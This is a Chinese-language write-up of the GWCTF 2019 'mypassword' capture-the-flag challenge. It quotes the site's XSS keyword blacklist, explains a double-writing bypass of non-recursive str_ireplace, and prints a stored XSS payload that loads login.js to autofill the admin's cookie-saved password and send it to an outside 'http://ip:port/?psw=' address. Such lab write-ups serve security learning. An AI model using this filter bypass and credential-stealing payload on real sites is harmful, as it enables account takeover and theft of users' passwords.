刷題[GWCTF 2019]mypassword
阿新 • • 發佈:2020-08-19
解題思路
開啟網站,登陸框。註冊一個使用者後再登陸
看樣子是注入了,在feedback.php中發現註釋
<!-- if(is_array($feedback)){ echo "<script>alert('反饋不合法');</script>"; return false; } $blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie']; foreach ($blacklist as $val) { while(true){ if(stripos($feedback,$val) !== false){ $feedback = str_ireplace($val,"",$feedback); }else{ break; } } } -->
大概意思是過濾了這些字串,但是因為str_ireplace函式採用的是非遞迴思想,直接採用雙寫的方法即可繞過
看了看過濾的都是xss用到的,然後這個框裡也像xss,先試試xss。
xss
<scriphostt>alert(1)</scriphostt>
在list中果然彈窗,然後按照他的意思應該是需要獲取原始碼,密碼在原始碼中,通過原始碼獲取密碼,登陸admin,再進行下一步操作。
其實網上搜到了一篇通過xss打出原始碼的文章。但是我在本地並未復現成功。然後感覺考點其實不在這裡
這裡走不通,只能換一條路了。返回登陸頁面查看了login.js
if (document.cookie && document.cookie != '') { var cookies = document.cookie.split('; '); var cookie = {}; for (var i = 0; i < cookies.length; i++) { var arr = cookies[i].split('='); var key = arr[0]; cookie[key] = arr[1]; } if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){ document.getElementsByName("username")[0].value = cookie['user']; document.getElementsByName("password")[0].value = cookie['psw']; } }
發現login.js中的記住密碼功能會將讀取cookie中的password。於是構造一個登入框並且引入login.js提交反饋等待bot點開獲得flag
exp
<incookieput type="text" name="username"> <incookieput type="password" name="password"> <scrcookieipt scookierc="./js/login.js"></scrcookieipt> <scrcookieipt> var psw = docucookiement.getcookieElementsByName("password")[0].value; docucookiement.locacookietion="http://ip:port/?psw="+psw; </scrcookieipt>
注意這裡要將過濾的字串中間加入cookie,使其正確拼接
這裡其實我是想用vps打,但是用buu的linux靶機不知道為什麼沒有用,然後用buu的requestbin模組,成功打出flag
這裡有一個注意事項,因為引入的記住密碼功能,所以你在註冊時不能記住密碼,否則會覆蓋admin的cookie,我在這裡打半天打不出來,後面想到了這個方面
總結思路
根據黑名單提示用xss打,程式碼審計發現cookie儲存,直接可以提取出預設的cookie資訊,根據此直接打出admin的密碼
知識點
- xss
- 程式碼審計
- cookie